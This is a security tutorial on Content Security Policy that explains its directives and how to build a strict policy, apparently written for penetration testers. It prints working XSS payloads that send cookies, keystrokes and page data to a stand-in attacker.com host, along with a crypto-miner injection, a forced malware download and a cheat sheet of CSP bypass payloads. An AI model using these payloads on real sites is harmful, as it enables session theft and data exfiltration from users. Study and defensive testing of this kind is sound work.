What is Content Security Policy?
Content Security Policy (CSP) is a security standard that acts as an additional layer of defense against Cross-Site Scripting (XSS), clickjacking, and other code injection attacks. It's delivered via an HTTP response header that tells the browser which dynamic resources are allowed to load.
Think of CSP as a bouncer at a club with a strict guest list. Even if an attacker manages to inject malicious code into your page, the browser won't execute it unless it's on the approved list.
Here's what a basic CSP header looks like:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; style-src 'self' 'unsafe-inline'
This policy tells the browser:
- By default, only load resources from the same origin (
'self') - Scripts can come from the same origin OR
https://trusted-cdn.com - Styles can be inline or from the same origin
How CSP Works: The Browser's Perspective
When a browser receives a page with a CSP header, it creates a whitelist of trusted content sources. Before loading any resource or executing any script, the browser checks:
- Is there a CSP policy? If not, proceed normally (dangerous!)
- What type of resource is this? (script, style, image, etc.)
- Does the resource's source match the policy? If not, block it
- For inline scripts: Is there a valid nonce or hash? If not, block it
This is the enforcement flow:
Browser receives page with CSP header
|
v
Parse CSP directives into policy object
|
v
For each resource/script attempt:
|
+---> Check against relevant directive
| |
| +---> Source allowed? --> Load/Execute
| |
| +---> Source blocked? --> Block & Report (if report-uri set)
|
v
Page renders with only approved content
CSP Directives: The Complete Arsenal
CSP provides granular control through various directives. Here are the most important ones:
| Directive | Controls | Attacker Impact |
|---|---|---|
default-src |
Fallback for all resource types | Baseline restriction on all content |
script-src |
JavaScript sources | Blocks XSS payload execution |
style-src |
CSS sources | Prevents CSS injection attacks |
img-src |
Image sources | Blocks data exfiltration via images |
connect-src |
AJAX, WebSocket, fetch() | Prevents data theft to attacker servers |
frame-src |
iframe sources | Mitigates clickjacking |
object-src |
Flash, Java plugins | Blocks plugin-based attacks |
base-uri |
<base> element | Prevents base tag hijacking |
form-action |
Form submission targets | Stops form hijacking attacks |
The Dangers of No CSP: An Attacker's Playground
Without CSP, a web application is essentially running with no guardrails. Let's examine what an attacker can do:
1. Classic XSS Exploitation
Without CSP, even a simple reflected XSS becomes devastating:
<!-- Attacker injects this via vulnerable parameter -->
<script>
// Steal session cookies
new Image().src = 'https://attacker.com/steal?cookie=' + document.cookie;
// Capture keystrokes
document.onkeypress = function(e) {
fetch('https://attacker.com/log?key=' + e.key);
};
// Inject fake login form
document.body.innerHTML = '<form action="https://attacker.com/phish">...</form>';
</script>
Real-World Impact
Without CSP, a single XSS vulnerability can lead to: session hijacking, credential theft, malware distribution, defacement, and complete account takeover. The attacker has full JavaScript execution in the context of your domain.
2. Data Exfiltration
Attackers can steal sensitive data displayed on the page:
// Exfiltrate via image request (bypasses same-origin restrictions)
var sensitiveData = document.querySelector('.account-balance').innerText;
new Image().src = 'https://attacker.com/steal?data=' + encodeURIComponent(sensitiveData);
// Exfiltrate via DNS (even sneakier)
var data = btoa(document.body.innerHTML);
new Image().src = 'https://' + data.substring(0,60) + '.attacker.com/x.png';
3. Cryptojacking
Inject cryptocurrency miners that run in victims' browsers:
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('attacker-site-key');
miner.start();
</script>
4. Drive-by Downloads
Force users to download malware:
// Auto-download malicious file
var link = document.createElement('a');
link.href = 'https://attacker.com/malware.exe';
link.download = 'important_update.exe';
link.click();
CSP Bypass Techniques: How Attackers Think
Even with CSP enabled, misconfigurations can leave doors open. Here's how attackers probe for weaknesses:
1. Exploiting 'unsafe-inline'
The most common CSP mistake. If the policy includes:
Content-Security-Policy: script-src 'self' 'unsafe-inline'
Then inline scripts are allowed, making XSS trivial:
<script>alert(document.cookie)</script>
Attacker Tip
Always check for 'unsafe-inline' in script-src. It's the most common CSP weakness and completely defeats XSS protection. Use browser DevTools (F12 > Console) to see CSP violation errors.
2. Exploiting 'unsafe-eval'
If 'unsafe-eval' is present:
Content-Security-Policy: script-src 'self' 'unsafe-eval'
Attackers can execute code through eval():
// If you can inject any data that gets eval'd
eval('alert(document.cookie)');
// Or through other eval-like functions
new Function('alert(document.cookie)')();
setTimeout('alert(document.cookie)', 0);
3. JSONP Endpoint Abuse
If a whitelisted domain has a JSONP endpoint, attackers can use it as a script gadget:
Content-Security-Policy: script-src 'self' https://trusted-api.com
Attack:
<!-- If trusted-api.com has JSONP -->
<script src="https://trusted-api.com/jsonp?callback=alert(document.cookie)//"></script>
The JSONP response becomes:
alert(document.cookie)//({data: "..."})
4. Angular/React/Vue Template Injection
If a framework library is whitelisted and the page uses client-side templating:
<!-- AngularJS (if ng-app is on page) -->
{{constructor.constructor('alert(document.cookie)')()}}
<!-- Vue.js -->
{{_c.constructor('alert(document.cookie)')()}}
5. CDN Hijacking / Script Gadgets
If a policy trusts a major CDN:
Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com
Attackers search for dangerous libraries on that CDN:
<!-- Load AngularJS from trusted CDN, then exploit -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.2/angular.min.js"></script>
<div ng-app ng-csp>
{{$eval.constructor('alert(document.cookie)')()}}
</div>
6. Base URI Manipulation
If base-uri isn't restricted:
<!-- Inject base tag to hijack relative script paths -->
<base href="https://attacker.com/">
<!-- Now all relative scripts load from attacker.com -->
<script src="/app.js"></script> <!-- Loads https://attacker.com/app.js -->
7. Dangling Markup Injection
Even with strict CSP, data exfiltration might be possible:
<!-- If img-src allows external -->
<img src="https://attacker.com/steal?data=
<!-- Browser sends everything until the next quote as the URL -->
Real-World CSP Bypasses: Case Studies
Case Study: Google CSP Bypass (2016)
Google's CSP trusted *.google.com. Researchers found that Google's JSONP endpoints could be abused:
<script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert"></script>
This loaded Google's autocomplete JSONP and executed the callback as JavaScript.
Case Study: GitHub CSP Bypass via Subresource Integrity
Researchers discovered that GitHub's CSP could be bypassed by finding libraries on whitelisted CDNs that contained useful "gadgets" - code patterns that could be exploited for XSS when combined with attacker-controlled input.
Building a Strong CSP: Defense in Depth
Here's how to build a CSP that actually protects your application:
Step 1: Start with Report-Only Mode
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
This logs violations without blocking, letting you tune the policy.
Step 2: Use Nonces for Inline Scripts
Content-Security-Policy: script-src 'nonce-abc123RandomValue'
<script nonce="abc123RandomValue">
// This script runs because nonce matches
console.log('Legitimate script');
</script>
<script>
// This is BLOCKED - no nonce attribute
alert('XSS attempt');
</script>
Step 3: Use strict-dynamic for Modern Apps
Content-Security-Policy: script-src 'strict-dynamic' 'nonce-abc123'
'strict-dynamic' allows scripts loaded by trusted scripts, enabling modern JavaScript bundlers and frameworks.
Step 4: A Production-Ready CSP
Content-Security-Policy:
default-src 'none';
script-src 'self' 'nonce-{random}' 'strict-dynamic';
style-src 'self' 'nonce-{random}';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self' https://api.yoursite.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
upgrade-insecure-requests;
report-uri /csp-violation-report
Testing CSP: The Attacker's Methodology
When testing a target's CSP, follow this systematic approach:
1. Extract and Analyze the Policy
# Using curl
curl -sI https://target.com | grep -i content-security-policy
# Or in browser DevTools
# Network tab > Select document > Headers > Response Headers
2. Check for Common Weaknesses
'unsafe-inline'in script-src or style-src'unsafe-eval'in script-src- Wildcards like
*.example.comorhttps: - Missing
object-srcdirective (defaults to default-src) - Missing
base-urirestriction - Overly permissive whitelists (major CDNs)
3. Use CSP Evaluator Tools
Google CSP Evaluator: https://csp-evaluator.withgoogle.com/
Mozilla Observatory: https://observatory.mozilla.org/
4. Search for Bypass Gadgets
If trusted domains are whitelisted, search for:
- JSONP endpoints
- Angular/React/Vue libraries
- Open redirects that could chain to script loading
- File upload functionality on trusted domains
CSP Cheat Sheet for Penetration Testers
Quick Policy Analysis
DANGEROUS PATTERNS:
- 'unsafe-inline' → Inline XSS works
- 'unsafe-eval' → eval() XSS works
- *.googleapis.com → Check for JSONP
- *.cloudflare.com → Script gadgets available
- data: → Data URI XSS possible
- https: → Any HTTPS source allowed!
- 'self' with upload → Upload malicious JS
MISSING DIRECTIVES:
- No object-src → Flash/plugin attacks
- No base-uri → Base tag hijacking
- No frame-ancestors → Clickjacking possible
- No form-action → Form hijacking possible
CSP Bypass Payloads
<!-- JSONP bypass (if callback param exists) -->
<script src="//whitelisted.com/jsonp?callback=alert(document.cookie)//"></script>
<!-- AngularJS bypass (if angular on trusted CDN) -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.2/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
<!-- Base tag hijack (if base-uri missing) -->
<base href="https://attacker.com/">
<!-- Data exfil via img (if img-src allows external) -->
<img src="https://attacker.com/?data=SENSITIVE_DATA_HERE">
<!-- Object/Embed bypass (if object-src missing) -->
<object data="https://attacker.com/malicious.swf"></object>
Key Takeaways
- CSP is not a silver bullet — it's a defense-in-depth measure that complements proper input validation and output encoding
- Misconfigured CSP is almost worse than no CSP — it creates a false sense of security
- Always test CSP during penetration tests — many organizations deploy CSP but configure it poorly
- Use nonces and strict-dynamic — avoid 'unsafe-inline' at all costs
- Monitor CSP reports — they reveal both attacks and legitimate issues
- Keep CSP updated — as your application changes, so should your policy
Final Thought
As a penetration tester or bug bounty hunter, CSP analysis should be part of your standard reconnaissance. A weak CSP can turn a low-severity injection point into a critical XSS vulnerability. Conversely, understanding CSP helps you write better reports by explaining why certain XSS findings are severe — or why CSP successfully mitigated your payload.